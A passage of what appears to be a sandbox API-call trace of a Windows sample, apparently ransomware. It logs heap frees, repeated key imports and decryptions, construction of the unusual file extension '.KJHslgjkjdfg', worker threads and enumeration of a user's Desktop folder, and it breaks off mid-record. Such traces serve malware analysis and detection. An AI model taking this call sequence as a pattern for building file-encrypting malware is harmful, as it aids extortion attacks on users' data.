returned 1 [0143.801] GetProcessHeap () returned 0x990000 [0143.801] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8d80 | out: hHeap=0x990000) returned 1 [0143.801] GetProcessHeap () returned 0x990000 [0143.801] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4e60 | out: hHeap=0x990000) returned 1 [0143.801] GetProcessHeap () returned 0x990000 [0143.801] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8d90 | out: hHeap=0x990000) returned 1 [0143.801] GetProcessHeap () returned 0x990000 [0143.801] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4e28 | out: hHeap=0x990000) returned 1 [0143.801] GetProcessHeap () returned 0x990000 [0143.801] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8da0 | out: hHeap=0x990000) returned 1 [0143.801] GetProcessHeap () returned 0x990000 [0143.801] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b6568 | out: hHeap=0x990000) returned 1 [0143.801] GetProcessHeap () returned 0x990000 [0143.801] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8db0 | out: hHeap=0x990000) returned 1 [0143.801] GetProcessHeap () returned 0x990000 [0143.801] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b17d8 | out: hHeap=0x990000) returned 1 [0143.801] GetProcessHeap () returned 0x990000 [0143.801] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8dc0 | out: hHeap=0x990000) returned 1 [0143.801] GetProcessHeap () returned 0x990000 [0143.801] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1800 | out: hHeap=0x990000) returned 1 [0143.801] GetProcessHeap () returned 0x990000 [0143.801] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8dd0 | out: hHeap=0x990000) returned 1 [0143.801] GetProcessHeap () returned 0x990000 [0143.801] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af2d8 | out: hHeap=0x990000) returned 1 [0143.802] GetProcessHeap () returned 0x990000 [0143.802] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8de0 | out: hHeap=0x990000) returned 1 [0143.802] GetProcessHeap () returned 0x990000 [0143.802] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af2f8 | out: hHeap=0x990000) returned 1 [0143.802] GetProcessHeap () returned 0x990000 [0143.802] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8df0 | out: hHeap=0x990000) returned 1 [0143.802] GetProcessHeap () returned 0x990000 [0143.802] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1828 | out: hHeap=0x990000) returned 1 [0143.802] GetProcessHeap () returned 0x990000 [0143.802] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8e00 | out: hHeap=0x990000) returned 1 [0143.802] GetProcessHeap () returned 0x990000 [0143.802] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adee0 | out: hHeap=0x990000) returned 1 [0143.802] GetProcessHeap () returned 0x990000 [0143.802] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8e10 | out: hHeap=0x990000) returned 1 [0143.802] GetProcessHeap () returned 0x990000 [0143.802] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1850 | out: hHeap=0x990000) returned 1 [0143.802] GetProcessHeap () returned 0x990000 [0143.802] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8e20 | out: hHeap=0x990000) returned 1 [0143.802] GetProcessHeap () returned 0x990000 [0143.802] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af318 | out: hHeap=0x990000) returned 1 [0143.802] GetProcessHeap () returned 0x990000 [0143.802] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8e30 | out: hHeap=0x990000) returned 1 [0143.802] GetProcessHeap () returned 0x990000 [0143.802] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1878 | out: hHeap=0x990000) returned 1 [0143.802] GetProcessHeap () returned 0x990000 [0143.802] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8e40 | out: hHeap=0x990000) returned 1 [0143.802] GetProcessHeap () returned 0x990000 [0143.802] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4df0 | out: hHeap=0x990000) returned 1 [0143.802] GetProcessHeap () returned 0x990000 [0143.802] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8e50 | out: hHeap=0x990000) returned 1 [0143.802] GetProcessHeap () returned 0x990000 [0143.802] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b65a8 | out: hHeap=0x990000) returned 1 [0143.802] GetProcessHeap () returned 0x990000 [0143.802] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8e60 | out: hHeap=0x990000) returned 1 [0143.802] GetProcessHeap () returned 0x990000 [0143.802] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18a0 | out: hHeap=0x990000) returned 1 [0143.803] GetProcessHeap () returned 0x990000 [0143.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8e70 | out: hHeap=0x990000) returned 1 [0143.803] GetProcessHeap () returned 0x990000 [0143.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0143.803] GetProcessHeap () returned 0x990000 [0143.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8e80 | out: hHeap=0x990000) returned 1 [0143.803] GetProcessHeap () returned 0x990000 [0143.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af338 | out: hHeap=0x990000) returned 1 [0143.803] GetProcessHeap () returned 0x990000 [0143.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8e90 | out: hHeap=0x990000) returned 1 [0143.803] GetProcessHeap () returned 0x990000 [0143.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18f0 | out: hHeap=0x990000) returned 1 [0143.803] GetProcessHeap () returned 0x990000 [0143.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8ea0 | out: hHeap=0x990000) returned 1 [0143.803] GetProcessHeap () returned 0x990000 [0143.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8570 | out: hHeap=0x990000) returned 1 [0143.803] GetProcessHeap () returned 0x990000 [0143.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8eb0 | out: hHeap=0x990000) returned 1 [0143.803] GetProcessHeap () returned 0x990000 [0143.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adf88 | out: hHeap=0x990000) returned 1 [0143.803] GetProcessHeap () returned 0x990000 [0143.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8ec0 | out: hHeap=0x990000) returned 1 [0143.803] GetProcessHeap () returned 0x990000 [0143.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af358 | out: hHeap=0x990000) returned 1 [0143.803] GetProcessHeap () returned 0x990000 [0143.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8ed0 | out: hHeap=0x990000) returned 1 [0143.803] GetProcessHeap () returned 0x990000 [0143.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0143.803] GetProcessHeap () returned 0x990000 [0143.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8ee0 | out: hHeap=0x990000) returned 1 [0143.803] GetProcessHeap () returned 0x990000 [0143.809] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af378 | out: hHeap=0x990000) returned 1 [0143.809] GetProcessHeap () returned 0x990000 [0143.809] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8ef0 | out: hHeap=0x990000) returned 1 [0143.809] GetProcessHeap () returned 0x990000 [0143.809] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1940 | out: hHeap=0x990000) returned 1 [0143.809] GetProcessHeap () returned 0x990000 [0143.809] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8f00 | out: hHeap=0x990000) returned 1 [0143.809] GetProcessHeap () returned 0x990000 [0143.809] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adec8 | out: hHeap=0x990000) returned 1 [0143.809] GetProcessHeap () returned 0x990000 [0143.809] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8f30 | out: hHeap=0x990000) returned 1 [0143.809] GetProcessHeap () returned 0x990000 [0143.809] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af398 | out: hHeap=0x990000) returned 1 [0143.809] GetProcessHeap () returned 0x990000 [0143.809] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8f40 | out: hHeap=0x990000) returned 1 [0143.809] GetProcessHeap () returned 0x990000 [0143.809] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0143.809] GetProcessHeap () returned 0x990000 [0143.809] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8f50 | out: hHeap=0x990000) returned 1 [0143.809] GetProcessHeap () returned 0x990000 [0143.809] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1968 | out: hHeap=0x990000) returned 1 [0143.809] GetProcessHeap () returned 0x990000 [0143.809] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8f60 | out: hHeap=0x990000) returned 1 [0143.809] GetProcessHeap () returned 0x990000 [0143.809] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1990 | out: hHeap=0x990000) returned 1 [0143.809] GetProcessHeap () returned 0x990000 [0143.809] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8f70 | out: hHeap=0x990000) returned 1 [0143.809] GetProcessHeap () returned 0x990000 [0143.809] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b85a0 | out: hHeap=0x990000) returned 1 [0143.809] GetProcessHeap () returned 0x990000 [0143.810] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8f80 | out: hHeap=0x990000) returned 1 [0143.810] GetProcessHeap () returned 0x990000 [0143.810] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af3b8 | out: hHeap=0x990000) returned 1 [0143.810] GetProcessHeap () returned 0x990000 [0143.810] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8f90 | out: hHeap=0x990000) returned 1 [0143.810] GetProcessHeap () returned 0x990000 [0143.810] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b19b8 | out: hHeap=0x990000) returned 1 [0143.810] GetProcessHeap () returned 0x990000 [0143.810] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8fa0 | out: hHeap=0x990000) returned 1 [0143.810] GetProcessHeap () returned 0x990000 [0143.810] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af3d8 | out: hHeap=0x990000) returned 1 [0143.810] GetProcessHeap () returned 0x990000 [0143.810] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8fb0 | out: hHeap=0x990000) returned 1 [0143.810] GetProcessHeap () returned 0x990000 [0143.810] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b65e8 | out: hHeap=0x990000) returned 1 [0143.810] GetProcessHeap () returned 0x990000 [0143.810] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8fc0 | out: hHeap=0x990000) returned 1 [0143.810] GetProcessHeap () returned 0x990000 [0143.810] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9330 | out: hHeap=0x990000) returned 1 [0143.810] GetProcessHeap () returned 0x990000 [0143.810] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8fd0 | out: hHeap=0x990000) returned 1 [0143.810] GetProcessHeap () returned 0x990000 [0143.810] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9358 | out: hHeap=0x990000) returned 1 [0143.810] GetProcessHeap () returned 0x990000 [0143.810] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8fe0 | out: hHeap=0x990000) returned 1 [0143.810] GetProcessHeap () returned 0x990000 [0143.810] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9380 | out: hHeap=0x990000) returned 1 [0143.810] GetProcessHeap () returned 0x990000 [0143.810] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b8ff0 | out: hHeap=0x990000) returned 1 [0143.810] GetProcessHeap () returned 0x990000 [0143.810] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b93a8 | out: hHeap=0x990000) returned 1 [0143.811] GetProcessHeap () returned 0x990000 [0143.811] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9000 | out: hHeap=0x990000) returned 1 [0143.811] GetProcessHeap () returned 0x990000 [0143.811] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b93d0 | out: hHeap=0x990000) returned 1 [0143.811] GetProcessHeap () returned 0x990000 [0143.811] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9010 | out: hHeap=0x990000) returned 1 [0143.811] GetProcessHeap () returned 0x990000 [0143.811] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af3f8 | out: hHeap=0x990000) returned 1 [0143.811] GetProcessHeap () returned 0x990000 [0143.811] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9020 | out: hHeap=0x990000) returned 1 [0143.811] GetProcessHeap () returned 0x990000 [0143.811] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b93f8 | out: hHeap=0x990000) returned 1 [0143.811] GetProcessHeap () returned 0x990000 [0143.811] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9030 | out: hHeap=0x990000) returned 1 [0143.811] GetProcessHeap () returned 0x990000 [0143.811] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9420 | out: hHeap=0x990000) returned 1 [0143.811] GetProcessHeap () returned 0x990000 [0143.811] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9040 | out: hHeap=0x990000) returned 1 [0143.811] GetProcessHeap () returned 0x990000 [0143.811] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9448 | out: hHeap=0x990000) returned 1 [0143.811] GetProcessHeap () returned 0x990000 [0143.811] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9050 | out: hHeap=0x990000) returned 1 [0143.811] GetProcessHeap () returned 0x990000 [0143.811] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0143.811] GetProcessHeap () returned 0x990000 [0143.811] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9060 | out: hHeap=0x990000) returned 1 [0143.811] GetProcessHeap () returned 0x990000 [0143.811] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9470 | out: hHeap=0x990000) returned 1 [0143.811] GetProcessHeap () returned 0x990000 [0143.811] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9070 | out: hHeap=0x990000) returned 1 [0143.811] GetProcessHeap () returned 0x990000 [0143.812] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9498 | out: hHeap=0x990000) returned 1 [0143.812] GetProcessHeap () returned 0x990000 [0143.812] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9080 | out: hHeap=0x990000) returned 1 [0143.812] GetProcessHeap () returned 0x990000 [0143.812] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af418 | out: hHeap=0x990000) returned 1 [0143.812] GetProcessHeap () returned 0x990000 [0143.812] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9090 | out: hHeap=0x990000) returned 1 [0143.812] GetProcessHeap () returned 0x990000 [0143.812] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b94c0 | out: hHeap=0x990000) returned 1 [0143.812] GetProcessHeap () returned 0x990000 [0143.812] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b90a0 | out: hHeap=0x990000) returned 1 [0143.812] GetProcessHeap () returned 0x990000 [0143.812] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af438 | out: hHeap=0x990000) returned 1 [0143.812] GetProcessHeap () returned 0x990000 [0143.812] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b90b0 | out: hHeap=0x990000) returned 1 [0143.812] GetProcessHeap () returned 0x990000 [0143.812] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b94e8 | out: hHeap=0x990000) returned 1 [0143.812] GetProcessHeap () returned 0x990000 [0143.812] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b90c0 | out: hHeap=0x990000) returned 1 [0143.812] GetProcessHeap () returned 0x990000 [0143.812] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b85d0 | out: hHeap=0x990000) returned 1 [0143.812] GetProcessHeap () returned 0x990000 [0143.812] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b90d0 | out: hHeap=0x990000) returned 1 [0143.812] GetProcessHeap () returned 0x990000 [0143.812] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af458 | out: hHeap=0x990000) returned 1 [0143.812] GetProcessHeap () returned 0x990000 [0143.812] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b90e0 | out: hHeap=0x990000) returned 1 [0143.812] GetProcessHeap () returned 0x990000 [0143.812] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9510 | out: hHeap=0x990000) returned 1 [0143.812] GetProcessHeap () returned 0x990000 [0143.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b90f0 | out: hHeap=0x990000) returned 1 [0143.813] GetProcessHeap () returned 0x990000 [0143.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af478 | out: hHeap=0x990000) returned 1 [0143.813] GetProcessHeap () returned 0x990000 [0143.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9100 | out: hHeap=0x990000) returned 1 [0143.813] GetProcessHeap () returned 0x990000 [0143.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af498 | out: hHeap=0x990000) returned 1 [0143.813] GetProcessHeap () returned 0x990000 [0143.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9110 | out: hHeap=0x990000) returned 1 [0143.813] GetProcessHeap () returned 0x990000 [0143.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9538 | out: hHeap=0x990000) returned 1 [0143.813] GetProcessHeap () returned 0x990000 [0143.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9120 | out: hHeap=0x990000) returned 1 [0143.813] GetProcessHeap () returned 0x990000 [0143.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af4b8 | out: hHeap=0x990000) returned 1 [0143.813] GetProcessHeap () returned 0x990000 [0143.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9130 | out: hHeap=0x990000) returned 1 [0143.813] GetProcessHeap () returned 0x990000 [0143.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9560 | out: hHeap=0x990000) returned 1 [0143.813] GetProcessHeap () returned 0x990000 [0143.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9140 | out: hHeap=0x990000) returned 1 [0143.813] GetProcessHeap () returned 0x990000 [0143.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9588 | out: hHeap=0x990000) returned 1 [0143.813] GetProcessHeap () returned 0x990000 [0143.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9150 | out: hHeap=0x990000) returned 1 [0143.814] GetProcessHeap () returned 0x990000 [0143.814] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b19b8 [0143.814] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f310, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b65e8) returned 1 [0143.814] CryptDecrypt (in: hKey=0x9b65e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b19b8, pdwDataLen=0x18f378 | out: pbData=0x9b19b8, pdwDataLen=0x18f378) returned 1 [0143.814] CryptDestroyKey (hKey=0x9b65e8) returned 1 [0143.814] GetProcessHeap () returned 0x990000 [0143.814] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1990 [0143.814] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f310, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b65e8) returned 1 [0143.814] CryptDecrypt (in: hKey=0x9b65e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1990, pdwDataLen=0x18f378 | out: pbData=0x9b1990, pdwDataLen=0x18f378) returned 1 [0143.814] CryptDestroyKey (hKey=0x9b65e8) returned 1 [0143.815] GetProcessHeap () returned 0x990000 [0143.815] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1968 [0143.815] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f310, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b65e8) returned 1 [0143.815] CryptDecrypt (in: hKey=0x9b65e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1968, pdwDataLen=0x18f378 | out: pbData=0x9b1968, pdwDataLen=0x18f378) returned 1 [0143.815] CryptDestroyKey (hKey=0x9b65e8) returned 1 [0143.815] GetProcessHeap () returned 0x990000 [0143.815] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1940 [0143.815] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f310, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b65e8) returned 1 [0143.815] CryptDecrypt (in: hKey=0x9b65e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1940, pdwDataLen=0x18f378 | out: pbData=0x9b1940, pdwDataLen=0x18f378) returned 1 [0143.815] CryptDestroyKey (hKey=0x9b65e8) returned 1 [0143.815] GetProcessHeap () returned 0x990000 [0143.815] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10838) returned 0x9b9b18 [0143.815] GetProcessHeap () returned 0x990000 [0143.815] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x100000) returned 0x27d0020 [0143.816] wsprintfW (in: param_1=0x9c9b4a, param_2=".%s" | out: param_1=".KJHslgjkjdfg") returned 13 [0143.816] GetProcessHeap () returned 0x990000 [0143.816] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10058) returned 0x9ca358 [0143.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4024f0, lpParameter=0x9b9b18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120 [0143.817] WaitForSingleObject (hHandle=0x120, dwMilliseconds=0xffffffff) returned 0x0 [0144.582] CloseHandle (hObject=0x120) returned 1 [0144.582] GetProcessHeap () returned 0x990000 [0144.582] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x27d0020 | out: hHeap=0x990000) returned 1 [0144.583] GetProcessHeap () returned 0x990000 [0144.583] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b9b18 | out: hHeap=0x990000) returned 1 [0144.583] GetProcessHeap () returned 0x990000 [0144.583] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1940 | out: hHeap=0x990000) returned 1 [0144.583] GetProcessHeap () returned 0x990000 [0144.583] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1968 | out: hHeap=0x990000) returned 1 [0144.583] GetProcessHeap () returned 0x990000 [0144.583] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1990 | out: hHeap=0x990000) returned 1 [0144.583] GetProcessHeap () returned 0x990000 [0144.583] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b19b8 | out: hHeap=0x990000) returned 1 [0144.583] GetProcessHeap () returned 0x990000 [0144.583] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b19b8 [0144.583] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f308, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b65e8) returned 1 [0144.583] CryptDecrypt (in: hKey=0x9b65e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b19b8, pdwDataLen=0x18f37c | out: pbData=0x9b19b8, pdwDataLen=0x18f37c) returned 1 [0144.583] CryptDestroyKey (hKey=0x9b65e8) returned 1 [0144.584] GetProcessHeap () returned 0x990000 [0144.584] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1990 [0144.584] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f308, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b65e8) returned 1 [0144.584] CryptDecrypt (in: hKey=0x9b65e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1990, pdwDataLen=0x18f37c | out: pbData=0x9b1990, pdwDataLen=0x18f37c) returned 1 [0144.584] CryptDestroyKey (hKey=0x9b65e8) returned 1 [0144.584] GetProcessHeap () returned 0x990000 [0144.584] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1968 [0144.584] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f308, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b65e8) returned 1 [0144.584] CryptDecrypt (in: hKey=0x9b65e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1968, pdwDataLen=0x18f37c | out: pbData=0x9b1968, pdwDataLen=0x18f37c) returned 1 [0144.584] CryptDestroyKey (hKey=0x9b65e8) returned 1 [0144.584] GetProcessHeap () returned 0x990000 [0144.584] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1940 [0144.584] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f308, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b65e8) returned 1 [0144.584] CryptDecrypt (in: hKey=0x9b65e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1940, pdwDataLen=0x18f37c | out: pbData=0x9b1940, pdwDataLen=0x18f37c) returned 1 [0144.584] CryptDestroyKey (hKey=0x9b65e8) returned 1 [0144.584] GetProcessHeap () returned 0x990000 [0144.584] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x4) returned 0x9aeea8 [0144.584] GetProcessHeap () returned 0x990000 [0144.584] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x4) returned 0x9aee98 [0144.584] GetProcessHeap () returned 0x990000 [0144.584] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10838) returned 0x9b9b18 [0144.584] GetProcessHeap () returned 0x990000 [0144.585] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x100000) returned 0x27d0020 [0144.585] wsprintfW (in: param_1=0x9c9b4a, param_2=".%s" | out: param_1=".KJHslgjkjdfg") returned 13 [0144.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4024f0, lpParameter=0x9b9b18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120 [0144.587] WaitForMultipleObjects (nCount=0x1, lpHandles=0x9aee98*=0x120, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x7a0 Thread: id = 165 os_tid = 0xae4 Thread: id = 166 os_tid = 0x7dc Thread: id = 171 os_tid = 0x7ec [0143.824] GetProcessHeap () returned 0x990000 [0143.824] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x5c) returned 0x9b0ae0 [0143.824] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.*", lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3432dd90, 